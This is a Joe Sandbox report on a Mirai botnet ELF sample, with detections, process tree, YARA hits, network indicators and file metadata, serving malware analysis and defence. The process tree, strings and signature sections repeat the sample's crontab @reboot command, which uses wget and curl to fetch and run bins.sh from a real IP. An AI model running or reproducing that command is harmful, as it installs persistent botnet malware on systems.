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Linux Analysis Report
i586.elf

Overview

General Information

Sample name:i586.elf
Analysis ID:1646361
MD5:d0c1657d143ba67c6c4ea831b7089abe
SHA1:4f4438f3b098182a387d6cd775a6d754f7083081
SHA256:1e2a086db792c4c6fe152107d478bed4190eca213dd2b47c3559d0f0df2614ec
Tags:elfuser-abuse_ch
Infos:

Detection

Mirai
Score:80
Range:0 - 100

Signatures

Antivirus / Scanner detection for submitted sample
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for submitted file
Yara detected Mirai
Connects to many ports of the same IP (likely port scanning)
Executes the "crontab" command typically for achieving persistence
Creates hidden files and/or directories
Detected TCP or UDP traffic on non-standard ports
Enumerates processes within the "proc" file system
Executes commands using a shell command-line interpreter
Executes the "chmod" command used to modify permissions
Found strings indicative of a multi-platform dropper
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Sample has stripped symbol table
Sleeps for long times indicative of sandbox evasion
Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)
Yara signature match

Classification

RansomwareSpreadingPhishingBankerTrojan / BotAdwareSpywareExploiterEvaderMinercleansuspiciousmalicious
Joe Sandbox version:42.0.0 Malachite
Analysis ID:1646361
Start date and time:2025-03-23 23:11:11 +01:00
Joe Sandbox product:CloudBasic
Overall analysis duration:0h 4m 42s
Hypervisor based Inspection enabled:false
Report type:full
Cookbook file name:defaultlinuxfilecookbook.jbs
Analysis system description:Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:default
Sample name:i586.elf
Detection:MAL
Classification:mal80.troj.linELF@0/0@2/0
Command:/tmp/i586.elf
PID:5810
Exit Code:0
Exit Code Info:
Killed:False
Standard Output:
we kinda rocking ngl
Standard Error:
  • system is lnxubuntu20
  • i586.elf (PID: 5810, Parent: 5731, MD5: d0c1657d143ba67c6c4ea831b7089abe) Arguments: /tmp/i586.elf
    • i586.elf New Fork (PID: 5811, Parent: 5810)
      • i586.elf New Fork (PID: 5812, Parent: 5811)
      • i586.elf New Fork (PID: 5815, Parent: 5811)
      • i586.elf New Fork (PID: 5816, Parent: 5811)
      • i586.elf New Fork (PID: 5817, Parent: 5811)
      • sh (PID: 5817, Parent: 5811, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: /bin/sh -c "(crontab -l ; echo \"@reboot /bin/bash -c \"/bin/wget http://155.138.230.16/bins/bins.sh; chmod +x bins.sh; sh bins.sh; /bin/curl -k -L --output bins.sh http://155.138.230.16/bins/bins.sh; chmod +x bins.sh; sh bins.sh\"\") | crontab -"
        • sh New Fork (PID: 5818, Parent: 5817)
          • sh New Fork (PID: 5820, Parent: 5818)
          • crontab (PID: 5820, Parent: 5818, MD5: 66e521d421ac9b407699061bf21806f5) Arguments: crontab -l
          • sh New Fork (PID: 5821, Parent: 5818)
          • chmod (PID: 5821, Parent: 5818, MD5: 739483b900c045ae1374d6f53a86a279) Arguments: chmod +x bins.sh
          • sh New Fork (PID: 5822, Parent: 5818)
          • sh (PID: 5822, Parent: 5818, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh bins.sh
          • sh New Fork (PID: 5823, Parent: 5818)
          • curl (PID: 5823, Parent: 5818, MD5: add6bc2195e82c55985ccf49fd4048e6) Arguments: /bin/curl -k -L --output bins.sh http://155.138.230.16/bins/bins.sh
        • sh New Fork (PID: 5819, Parent: 5817)
        • crontab (PID: 5819, Parent: 5817, MD5: 66e521d421ac9b407699061bf21806f5) Arguments: crontab -
  • cleanup
NameDescriptionAttributionBlogpost URLsLink
MiraiMirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world.No Attributionhttps://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai
SourceRuleDescriptionAuthorStrings
i586.elfJoeSecurity_Mirai_9Yara detected MiraiJoe Security
    i586.elfLinux_Trojan_Mirai_122ff2e6unknownunknown
    • 0xa6fb:$a: 24 EB 15 89 F0 83 C8 01 EB 03 8B 5B 08 3B 43 04 72 F8 8B 4B 0C 89
    i586.elfLinux_Trojan_Mirai_fa48b592unknownunknown
    • 0xe591:$a: 31 C0 BA 01 00 00 00 B9 01 00 00 00 03 04 24 89 D7 31 D2 F7 F7 0F
    i586.elfLinux_Trojan_Mirai_8aa7b5d3unknownunknown
    • 0x7562:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
    SourceRuleDescriptionAuthorStrings
    5810.1.0000000008048000.0000000008059000.r-x.sdmpJoeSecurity_Mirai_9Yara detected MiraiJoe Security
      5810.1.0000000008048000.0000000008059000.r-x.sdmpLinux_Trojan_Mirai_122ff2e6unknownunknown
      • 0xa6fb:$a: 24 EB 15 89 F0 83 C8 01 EB 03 8B 5B 08 3B 43 04 72 F8 8B 4B 0C 89
      5810.1.0000000008048000.0000000008059000.r-x.sdmpLinux_Trojan_Mirai_fa48b592unknownunknown
      • 0xe591:$a: 31 C0 BA 01 00 00 00 B9 01 00 00 00 03 04 24 89 D7 31 D2 F7 F7 0F
      5810.1.0000000008048000.0000000008059000.r-x.sdmpLinux_Trojan_Mirai_8aa7b5d3unknownunknown
      • 0x7562:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
      No Suricata rule has matched

      Click to jump to signature section

      Show All Signature Results

      AV Detection

      barindex
      Source: i586.elfAvira: detected
      Source: i586.elfVirustotal: Detection: 26%Perma Link
      Source: i586.elfReversingLabs: Detection: 36%
      Source: i586.elfString: /proc//exedvrHelper/proc/%d/cwd/var/tmp/proc/%d/fd../proc/%d/fd/%s/proc/proc/%d/stat /cmdline/wget/tftp/curl/reboot/libbin//dev/watchdog/dev/misc/watchdogi586->unknown%d/bin/busybox/bin/sh/var/Sofiatelnetd
      Source: i586.elfString: /bin/bash -c "/bin/wget http://155.138.230.16/bins/bins.sh; chmod +x bins.sh; sh bins.sh; /bin/curl -k -L --output bins.sh http://155.138.230.16/bins/bins.sh; chmod +x bins.sh; sh bins.sh"
      Source: i586.elfString: j2go/proc/net/tcp5.188.230.23137.18.73.94167.235.128.15168.191.23.13445.195.74.233141.94.21.7118.220.154.2118.210.151.8537.187.153.12745.195.74.1970123456789ABCDEF(crontab -l ; echo "@reboot %s") | crontab -/bin/bash -c "/bin/wget http://155.138.230.16/bins/bins.sh; chmod +x bins.sh; sh bins.sh; /bin/curl -k -L --output bins.sh http://155.138.230.16/bins/bins.sh; chmod +x bins.sh; sh bins.sh"%s/.bashrc

      Networking

      barindex
      Source: global trafficTCP traffic: 155.138.230.16 ports 1290,0,1,2,80,9
      Source: global trafficTCP traffic: 192.168.2.15:46710 -> 155.138.230.16:1290
      Source: global trafficTCP traffic: 192.168.2.15:48922 -> 155.138.230.16:80
      Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
      Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
      Source: global trafficDNS traffic detected: DNS query: api.znet.homes
      Source: i586.elfString found in binary or memory: http://155.138.230.16/bins/bins.sh;

      System Summary

      barindex
      Source: i586.elf, type: SAMPLEMatched rule: Linux_Trojan_Mirai_122ff2e6 Author: unknown
      Source: i586.elf, type: SAMPLEMatched rule: Linux_Trojan_Mirai_fa48b592 Author: unknown
      Source: i586.elf, type: SAMPLEMatched rule: Linux_Trojan_Mirai_8aa7b5d3 Author: unknown
      Source: 5810.1.0000000008048000.0000000008059000.r-x.sdmp, type: MEMORYMatched rule: Linux_Trojan_Mirai_122ff2e6 Author: unknown
      Source: 5810.1.0000000008048000.0000000008059000.r-x.sdmp, type: MEMORYMatched rule: Linux_Trojan_Mirai_fa48b592 Author: unknown
      Source: 5810.1.0000000008048000.0000000008059000.r-x.sdmp, type: MEMORYMatched rule: Linux_Trojan_Mirai_8aa7b5d3 Author: unknown
      Source: Initial sampleString containing 'busybox' found: /bin/busybox
      Source: Initial sampleString containing 'busybox' found: /proc//exedvrHelper/proc/%d/cwd/var/tmp/proc/%d/fd../proc/%d/fd/%s/proc/proc/%d/stat /cmdline/wget/tftp/curl/reboot/libbin//dev/watchdog/dev/misc/watchdogi586->unknown%d/bin/busybox/bin/sh/var/Sofiatelnetd
      Source: ELF static info symbol of initial sample.symtab present: no
      Source: i586.elf, type: SAMPLEMatched rule: Linux_Trojan_Mirai_122ff2e6 reference_sample = c7dd999a033fa3edc1936785b87cd69ce2f5cac5a084ddfaf527a1094e718bc4, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 3c9ffd7537e30a21eefa6c174f801264b92a85a1bc73e34e6dc9e29f84658348, id = 122ff2e6-56e6-4aa8-a3ec-c19d31eb1f80, last_modified = 2021-09-16
      Source: i586.elf, type: SAMPLEMatched rule: Linux_Trojan_Mirai_fa48b592 reference_sample = c9e33befeec133720b3ba40bb3cd7f636aad80f72f324c5fe65ac7af271c49ee, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 8838d2752b310dbf7d12f6cf023244aaff4fdf5b55cf1e3b71843210df0fcf88, id = fa48b592-8d80-45af-a3e4-232695b8f5dd, last_modified = 2021-09-16
      Source: i586.elf, type: SAMPLEMatched rule: Linux_Trojan_Mirai_8aa7b5d3 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 02a2c18c362df4b1fceb33f3b605586514ba9a00c7afedf71c04fa54d8146444, id = 8aa7b5d3-e1eb-4b55-b36a-0d3a242c06e9, last_modified = 2022-01-26
      Source: 5810.1.0000000008048000.0000000008059000.r-x.sdmp, type: MEMORYMatched rule: Linux_Trojan_Mirai_122ff2e6 reference_sample = c7dd999a033fa3edc1936785b87cd69ce2f5cac5a084ddfaf527a1094e718bc4, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 3c9ffd7537e30a21eefa6c174f801264b92a85a1bc73e34e6dc9e29f84658348, id = 122ff2e6-56e6-4aa8-a3ec-c19d31eb1f80, last_modified = 2021-09-16
      Source: 5810.1.0000000008048000.0000000008059000.r-x.sdmp, type: MEMORYMatched rule: Linux_Trojan_Mirai_fa48b592 reference_sample = c9e33befeec133720b3ba40bb3cd7f636aad80f72f324c5fe65ac7af271c49ee, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 8838d2752b310dbf7d12f6cf023244aaff4fdf5b55cf1e3b71843210df0fcf88, id = fa48b592-8d80-45af-a3e4-232695b8f5dd, last_modified = 2021-09-16
      Source: 5810.1.0000000008048000.0000000008059000.r-x.sdmp, type: MEMORYMatched rule: Linux_Trojan_Mirai_8aa7b5d3 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 02a2c18c362df4b1fceb33f3b605586514ba9a00c7afedf71c04fa54d8146444, id = 8aa7b5d3-e1eb-4b55-b36a-0d3a242c06e9, last_modified = 2022-01-26
      Source: classification engineClassification label: mal80.troj.linELF@0/0@2/0

      Persistence and Installation Behavior

      barindex
      Source: /bin/sh (PID: 5820)Crontab executable: /usr/bin/crontab -> crontab -lJump to behavior
      Source: /bin/sh (PID: 5819)Crontab executable: /usr/bin/crontab -> crontab -Jump to behavior
      Source: /bin/curl (PID: 5823)Directory: /root/.curlrcJump to behavior
      Source: /tmp/i586.elf (PID: 5812)File opened: /proc/110/statJump to behavior
      Source: /tmp/i586.elf (PID: 5812)File opened: /proc/110/cmdlineJump to behavior
      Source: /tmp/i586.elf (PID: 5812)File opened: /proc/110/fdJump to behavior
      Source: /tmp/i586.elf (PID: 5812)File opened: /proc/110/statJump to behavior
      Source: /tmp/i586.elf (PID: 5812)File opened: /proc/110/cmdlineJump to behavior
      Source: /tmp/i586.elf (PID: 5812)File opened: /proc/110/fdJump to behavior
      Source: /tmp/i586.elf (PID: 5812)File opened: /proc/231/statJump to behavior
      Source: /tmp/i586.elf (PID: 5812)File opened: /proc/231/cmdlineJump to behavior
      Source: /tmp/i586.elf (PID: 5812)File opened: /proc/231/fdJump to behavior
      Source: /tmp/i586.elf (PID: 5812)File opened: /proc/231/statJump to behavior
      Source: /tmp/i586.elf (PID: 5812)File opened: /proc/231/cmdlineJump to behavior
      Source: /tmp/i586.elf (PID: 5812)File opened: /proc/231/fdJump to behavior
      Source: /tmp/i586.elf (PID: 5812)File opened: /proc/5816/statJump to behavior
      Source: /tmp/i586.elf (PID: 5812)File opened: /proc/111/statJump to behavior
      Source: /tmp/i586.elf (PID: 5812)File opened: /proc/111/cmdlineJump to behavior
      Source: /tmp/i586.elf (PID: 5812)File opened: /proc/111/fdJump to behavior
      Source: /tmp/i586.elf (PID: 5812)File opened: /proc/111/statJump to behavior
      Source: /tmp/i586.elf (PID: 5812)File opened: /proc/111/cmdlineJump to behavior
      Source: /tmp/i586.elf (PID: 5812)File opened: /proc/111/fdJump to behavior
      Source: /tmp/i586.elf (PID: 5812)File opened: /proc/5817/statJump to behavior
      Source: /tmp/i586.elf (PID: 5812)File opened: /proc/112/statJump to behavior
      Source: /tmp/i586.elf (PID: 5812)File opened: /proc/112/cmdlineJump to behavior
      Source: /tmp/i586.elf (PID: 5812)File opened: /proc/112/fdJump to behavior
      Source: /tmp/i586.elf (PID: 5812)File opened: /proc/112/statJump to behavior
      Source: /tmp/i586.elf (PID: 5812)File opened: /proc/112/cmdlineJump to behavior
      Source: /tmp/i586.elf (PID: 5812)File opened: /proc/112/fdJump to behavior
      Source: /tmp/i586.elf (PID: 5812)File opened: /proc/233/statJump to behavior
      Source: /tmp/i586.elf (PID: 5812)File opened: /proc/233/cmdlineJump to behavior
      Source: /tmp/i586.elf (PID: 5812)File opened: /proc/233/fdJump to behavior
      Source: /tmp/i586.elf (PID: 5812)File opened: /proc/233/statJump to behavior
      Source: /tmp/i586.elf (PID: 5812)File opened: /proc/233/cmdlineJump to behavior
      Source: /tmp/i586.elf (PID: 5812)File opened: /proc/233/fdJump to behavior
      Source: /tmp/i586.elf (PID: 5812)File opened: /proc/5818/statJump to behavior
      Source: /tmp/i586.elf (PID: 5812)File opened: /proc/113/statJump to behavior
      Source: /tmp/i586.elf (PID: 5812)File opened: /proc/113/cmdlineJump to behavior
      Source: /tmp/i586.elf (PID: 5812)File opened: /proc/113/fdJump to behavior
      Source: /tmp/i586.elf (PID: 5812)File opened: /proc/113/statJump to behavior
      Source: /tmp/i586.elf (PID: 5812)File opened: /proc/113/cmdlineJump to behavior
      Source: /tmp/i586.elf (PID: 5812)File opened: /proc/113/fdJump to behavior
      Source: /tmp/i586.elf (PID: 5812)File opened: /proc/5819/statJump to behavior
      Source: /tmp/i586.elf (PID: 5812)File opened: /proc/114/statJump to behavior
      Source: /tmp/i586.elf (PID: 5812)File opened: /proc/114/cmdlineJump to behavior
      Source: /tmp/i586.elf (PID: 5812)File opened: /proc/114/fdJump to behavior
      Source: /tmp/i586.elf (PID: 5812)File opened: /proc/114/statJump to behavior
      Source: /tmp/i586.elf (PID: 5812)File opened: /proc/114/cmdlineJump to behavior
      Source: /tmp/i586.elf (PID: 5812)File opened: /proc/114/fdJump to behavior
      Source: /tmp/i586.elf (PID: 5812)File opened: /proc/235/statJump to behavior
      Source: /tmp/i586.elf (PID: 5812)File opened: /proc/235/cmdlineJump to behavior
      Source: /tmp/i586.elf (PID: 5812)File opened: /proc/235/fdJump to behavior
      Source: /tmp/i586.elf (PID: 5812)File opened: /proc/235/statJump to behavior
      Source: /tmp/i586.elf (PID: 5812)File opened: /proc/235/cmdlineJump to behavior
      Source: /tmp/i586.elf (PID: 5812)File opened: /proc/235/fdJump to behavior
      Source: /tmp/i586.elf (PID: 5812)File opened: /proc/115/statJump to behavior
      Source: /tmp/i586.elf (PID: 5812)File opened: /proc/115/cmdlineJump to behavior
      Source: /tmp/i586.elf (PID: 5812)File opened: /proc/115/fdJump to behavior
      Source: /tmp/i586.elf (PID: 5812)File opened: /proc/115/statJump to behavior
      Source: /tmp/i586.elf (PID: 5812)File opened: /proc/115/cmdlineJump to behavior
      Source: /tmp/i586.elf (PID: 5812)File opened: /proc/115/fdJump to behavior
      Source: /tmp/i586.elf (PID: 5812)File opened: /proc/1333/statJump to behavior
      Source: /tmp/i586.elf (PID: 5812)File opened: /proc/1333/cmdlineJump to behavior
      Source: /tmp/i586.elf (PID: 5812)File opened: /proc/1333/fdJump to behavior
      Source: /tmp/i586.elf (PID: 5812)File opened: /proc/1333/statJump to behavior
      Source: /tmp/i586.elf (PID: 5812)File opened: /proc/1333/cmdlineJump to behavior
      Source: /tmp/i586.elf (PID: 5812)File opened: /proc/1333/fdJump to behavior
      Source: /tmp/i586.elf (PID: 5812)File opened: /proc/116/statJump to behavior
      Source: /tmp/i586.elf (PID: 5812)File opened: /proc/116/cmdlineJump to behavior
      Source: /tmp/i586.elf (PID: 5812)File opened: /proc/116/fdJump to behavior
      Source: /tmp/i586.elf (PID: 5812)File opened: /proc/116/statJump to behavior
      Source: /tmp/i586.elf (PID: 5812)File opened: /proc/116/cmdlineJump to behavior
      Source: /tmp/i586.elf (PID: 5812)File opened: /proc/116/fdJump to behavior
      Source: /tmp/i586.elf (PID: 5812)File opened: /proc/1695/statJump to behavior
      Source: /tmp/i586.elf (PID: 5812)File opened: /proc/1695/cmdlineJump to behavior
      Source: /tmp/i586.elf (PID: 5812)File opened: /proc/1695/fdJump to behavior
      Source: /tmp/i586.elf (PID: 5812)File opened: /proc/1695/statJump to behavior
      Source: /tmp/i586.elf (PID: 5812)File opened: /proc/1695/cmdlineJump to behavior
      Source: /tmp/i586.elf (PID: 5812)File opened: /proc/1695/fdJump to behavior
      Source: /tmp/i586.elf (PID: 5812)File opened: /proc/117/statJump to behavior
      Source: /tmp/i586.elf (PID: 5812)File opened: /proc/117/cmdlineJump to behavior
      Source: /tmp/i586.elf (PID: 5812)File opened: /proc/117/fdJump to behavior
      Source: /tmp/i586.elf (PID: 5812)File opened: /proc/117/statJump to behavior
      Source: /tmp/i586.elf (PID: 5812)File opened: /proc/117/cmdlineJump to behavior
      Source: /tmp/i586.elf (PID: 5812)File opened: /proc/117/fdJump to behavior
      Source: /tmp/i586.elf (PID: 5812)File opened: /proc/118/statJump to behavior
      Source: /tmp/i586.elf (PID: 5812)File opened: /proc/118/cmdlineJump to behavior
      Source: /tmp/i586.elf (PID: 5812)File opened: /proc/118/fdJump to behavior
      Source: /tmp/i586.elf (PID: 5812)File opened: /proc/118/statJump to behavior
      Source: /tmp/i586.elf (PID: 5812)File opened: /proc/118/cmdlineJump to behavior
      Source: /tmp/i586.elf (PID: 5812)File opened: /proc/118/fdJump to behavior
      Source: /tmp/i586.elf (PID: 5812)File opened: /proc/119/statJump to behavior
      Source: /tmp/i586.elf (PID: 5812)File opened: /proc/119/cmdlineJump to behavior
      Source: /tmp/i586.elf (PID: 5812)File opened: /proc/119/fdJump to behavior
      Source: /tmp/i586.elf (PID: 5812)File opened: /proc/119/statJump to behavior
      Source: /tmp/i586.elf (PID: 5812)File opened: /proc/119/cmdlineJump to behavior
      Source: /tmp/i586.elf (PID: 5812)File opened: /proc/119/fdJump to behavior
      Source: /tmp/i586.elf (PID: 5812)File opened: /proc/911/statJump to behavior
      Source: /tmp/i586.elf (PID: 5812)File opened: /proc/911/cmdlineJump to behavior
      Source: /tmp/i586.elf (PID: 5812)File opened: /proc/911/fdJump to behavior
      Source: /tmp/i586.elf (PID: 5812)File opened: /proc/911/statJump to behavior
      Source: /tmp/i586.elf (PID: 5812)File opened: /proc/911/cmdlineJump to behavior
      Source: /tmp/i586.elf (PID: 5812)File opened: /proc/911/fdJump to behavior
      Source: /tmp/i586.elf (PID: 5812)File opened: /proc/5811/statJump to behavior
      Source: /tmp/i586.elf (PID: 5812)File opened: /proc/914/statJump to behavior
      Source: /tmp/i586.elf (PID: 5812)File opened: /proc/914/cmdlineJump to behavior
      Source: /tmp/i586.elf (PID: 5812)File opened: /proc/914/fdJump to behavior
      Source: /tmp/i586.elf (PID: 5812)File opened: /proc/914/statJump to behavior
      Source: /tmp/i586.elf (PID: 5812)File opened: /proc/914/cmdlineJump to behavior
      Source: /tmp/i586.elf (PID: 5812)File opened: /proc/914/fdJump to behavior
      Source: /tmp/i586.elf (PID: 5817)Shell command executed: /bin/sh -c "(crontab -l ; echo \"@reboot /bin/bash -c \"/bin/wget http://155.138.230.16/bins/bins.sh; chmod +x bins.sh; sh bins.sh; /bin/curl -k -L --output bins.sh http://155.138.230.16/bins/bins.sh; chmod +x bins.sh; sh bins.sh\"\") | crontab -"Jump to behavior
      Source: /bin/sh (PID: 5821)Chmod executable: /usr/bin/chmod -> chmod +x bins.shJump to behavior
      Source: /tmp/i586.elf (PID: 5816)Sleeps longer then 60s: 60.0sJump to behavior
      Source: /tmp/i586.elf (PID: 5816)Sleeps longer then 60s: 60.0sJump to behavior

      Stealing of Sensitive Information

      barindex
      Source: Yara matchFile source: i586.elf, type: SAMPLE
      Source: Yara matchFile source: 5810.1.0000000008048000.0000000008059000.r-x.sdmp, type: MEMORY

      Remote Access Functionality

      barindex
      Source: Yara matchFile source: i586.elf, type: SAMPLE
      Source: Yara matchFile source: 5810.1.0000000008048000.0000000008059000.r-x.sdmp, type: MEMORY
      ReconnaissanceResource DevelopmentInitial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionCommand and ControlExfiltrationImpact
      Gather Victim Identity Information2
      Scripting
      Valid Accounts1
      Scheduled Task/Job
      1
      Scheduled Task/Job
      1
      Scheduled Task/Job
      1
      Virtualization/Sandbox Evasion
      1
      OS Credential Dumping
      1
      Virtualization/Sandbox Evasion
      Remote ServicesData from Local System1
      Non-Standard Port
      Exfiltration Over Other Network MediumAbuse Accessibility Features
      CredentialsDomainsDefault AccountsScheduled Task/Job2
      Scripting
      Boot or Logon Initialization Scripts1
      File and Directory Permissions Modification
      LSASS MemoryApplication Window DiscoveryRemote Desktop ProtocolData from Removable Media1
      Non-Application Layer Protocol
      Exfiltration Over BluetoothNetwork Denial of Service
      Email AddressesDNS ServerDomain AccountsAtLogon Script (Windows)Logon Script (Windows)1
      Hidden Files and Directories
      Security Account ManagerQuery RegistrySMB/Windows Admin SharesData from Network Shared Drive1
      Application Layer Protocol
      Automated ExfiltrationData Encrypted for Impact
      No configs have been found
      Hide Legend

      Legend:

      • Process
      • Signature
      • Created File
      • DNS/IP Info
      • Is Dropped
      • Number of created Files
      • Is malicious
      • Internet
      behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 1646361 Sample: i586.elf Startdate: 23/03/2025 Architecture: LINUX Score: 80 36 api.znet.homes 155.138.230.16, 1290, 80 AS-CHOOPAUS United States 2->36 38 Malicious sample detected (through community Yara rule) 2->38 40 Antivirus / Scanner detection for submitted sample 2->40 42 Multi AV Scanner detection for submitted file 2->42 44 2 other signatures 2->44 10 i586.elf 2->10         started        signatures3 process4 process5 12 i586.elf 10->12         started        process6 14 i586.elf sh 12->14         started        16 i586.elf 12->16         started        18 i586.elf 12->18         started        20 i586.elf 12->20         started        process7 22 sh 14->22         started        24 sh crontab 14->24         started        signatures8 27 sh crontab 22->27         started        30 sh chmod 22->30         started        32 sh sh 22->32         started        34 sh curl 22->34         started        46 Executes the "crontab" command typically for achieving persistence 24->46 process9 signatures10 48 Executes the "crontab" command typically for achieving persistence 27->48
      SourceDetectionScannerLabelLink
      i586.elf27%VirustotalBrowse
      i586.elf36%ReversingLabsLinux.Backdoor.Gafgyt
      i586.elf100%AviraEXP/ELF.Mirai.W
      No Antivirus matches
      No Antivirus matches
      No Antivirus matches

      Download Network PCAP: filteredfull

      NameIPActiveMaliciousAntivirus DetectionReputation
      api.znet.homes
      155.138.230.16
      truefalse
        high
        NameSourceMaliciousAntivirus DetectionReputation
        http://155.138.230.16/bins/bins.sh;i586.elffalse
          high
          • No. of IPs < 25%
          • 25% < No. of IPs < 50%
          • 50% < No. of IPs < 75%
          • 75% < No. of IPs
          IPDomainCountryFlagASNASN NameMalicious
          155.138.230.16
          api.znet.homesUnited States
          20473AS-CHOOPAUSfalse
          MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
          155.138.230.16m68k.elfGet hashmaliciousMiraiBrowse
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                            api.znet.homesm68k.elfGet hashmaliciousMiraiBrowse
                            • 155.138.230.16
                            sparc.elfGet hashmaliciousMiraiBrowse
                            • 155.138.230.16
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                            • 155.138.230.16
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                            • 155.138.230.16
                            armv6l.elfGet hashmaliciousMiraiBrowse
                            • 155.138.230.16
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                            • 155.138.230.16
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                            • 155.138.230.16
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                            • 155.138.230.16
                            mipsel.elfGet hashmaliciousMiraiBrowse
                            • 155.138.230.16
                            MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                            AS-CHOOPAUSm68k.elfGet hashmaliciousMiraiBrowse
                            • 155.138.230.16
                            sparc.elfGet hashmaliciousMiraiBrowse
                            • 155.138.230.16
                            armv4l.elfGet hashmaliciousMiraiBrowse
                            • 155.138.230.16
                            x86_64.elfGet hashmaliciousMiraiBrowse
                            • 155.138.230.16
                            armv6l.elfGet hashmaliciousMiraiBrowse
                            • 155.138.230.16
                            sh4.elfGet hashmaliciousMiraiBrowse
                            • 155.138.230.16
                            i686.elfGet hashmaliciousMiraiBrowse
                            • 155.138.230.16
                            mips.elfGet hashmaliciousMiraiBrowse
                            • 155.138.230.16
                            mipsel.elfGet hashmaliciousMiraiBrowse
                            • 155.138.230.16
                            Setup.exeGet hashmaliciousUnknownBrowse
                            • 45.32.1.23
                            No context
                            No context
                            No created / dropped files found
                            File type:ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, stripped
                            Entropy (8bit):6.490423745301335
                            TrID:
                            • ELF Executable and Linkable format (Linux) (4029/14) 50.16%
                            • ELF Executable and Linkable format (generic) (4004/1) 49.84%
                            File name:i586.elf
                            File size:76'540 bytes
                            MD5:d0c1657d143ba67c6c4ea831b7089abe
                            SHA1:4f4438f3b098182a387d6cd775a6d754f7083081
                            SHA256:1e2a086db792c4c6fe152107d478bed4190eca213dd2b47c3559d0f0df2614ec
                            SHA512:8a0f8ea4413226325123140938c159623ab8cbe0b58b504dade2d0461dfb5f763e25738eea5a75d73d5befe9def1bef4b9df3e61d0d063891f138947a40e6be0
                            SSDEEP:1536:tpzj5MKafQH26r2+OylDkVdLT/++nZOE38QW95:tFj5bAQW6E2D3+nL25
                            TLSH:75733AC2A763C8B6D88711B401F3FB375930FC771268D946C3A4EF96F9419E0658A36A
                            File Content Preview:.ELF........................4....(......4. ...(.....................O...O................................|..............L...L...L...................Q.td............................U..S............h....C...[]...$.............U......=.....t..5..............

                            ELF header

                            Class:ELF32
                            Data:2's complement, little endian
                            Version:1 (current)
                            Machine:Intel 80386
                            Version Number:0x1
                            Type:EXEC (Executable file)
                            OS/ABI:UNIX - System V
                            ABI Version:0
                            Entry Point Address:0x8048184
                            Flags:0x0
                            ELF Header Size:52
                            Program Header Offset:52
                            Program Header Size:32
                            Number of Program Headers:4
                            Section Header Offset:75940
                            Section Header Size:40
                            Number of Section Headers:15
                            Header String Table Index:14
                            NameTypeAddressOffsetSizeEntSizeFlagsFlags DescriptionLinkInfoAlign
                            NULL0x00x00x00x00x0000
                            .initPROGBITS0x80480b40xb40x1c0x00x6AX001
                            .textPROGBITS0x80480d00xd00xeb670x00x6AX0016
                            .finiPROGBITS0x8056c370xec370x170x00x6AX001
                            .rodataPROGBITS0x8056c600xec600x1aef0x00x2A0032
                            .eh_framePROGBITS0x80590000x110000x84c0x00x3WA004
                            .tbssNOBITS0x805984c0x1184c0x80x00x403WAT004
                            .ctorsPROGBITS0x805984c0x1184c0x80x00x3WA004
                            .dtorsPROGBITS0x80598540x118540x80x00x3WA004
                            .jcrPROGBITS0x805985c0x1185c0x40x00x3WA004
                            .got.pltPROGBITS0x80598600x118600xc0x40x3WA004
                            .dataPROGBITS0x80598800x118800x2500x00x3WA0032
                            .bssNOBITS0x8059ae00x11ad00x71a00x00x3WA0032
                            .commentPROGBITS0x00x11ad00xd6e0x00x0001
                            .shstrtabSTRTAB0x00x1283e0x650x00x0001
                            TypeOffsetVirtual AddressPhysical AddressFile SizeMemory SizeEntropyFlagsFlags DescriptionAlignProg InterpreterSection Mappings
                            LOAD0x00x80480000x80480000x1074f0x1074f6.61260x5R E0x1000.init .text .fini .rodata
                            LOAD0x110000x80590000x80590000xad00x7c804.75860x6RW 0x1000.eh_frame .tbss .ctors .dtors .jcr .got.plt .data .bss
                            TLS0x1184c0x805984c0x805984c0x00x80.00000x4R 0x4.tbss
                            GNU_STACK0x00x00x00x00x00.00000x6RW 0x4

                            Download Network PCAP: filteredfull

                            • Total Packets: 22
                            • 1290 undefined
                            • 80 (HTTP)
                            • 53 (DNS)
                            TimestampSource PortDest PortSource IPDest IP
                            Mar 23, 2025 23:12:23.224684000 CET467101290192.168.2.15155.138.230.16
                            Mar 23, 2025 23:12:23.643611908 CET4892280192.168.2.15155.138.230.16
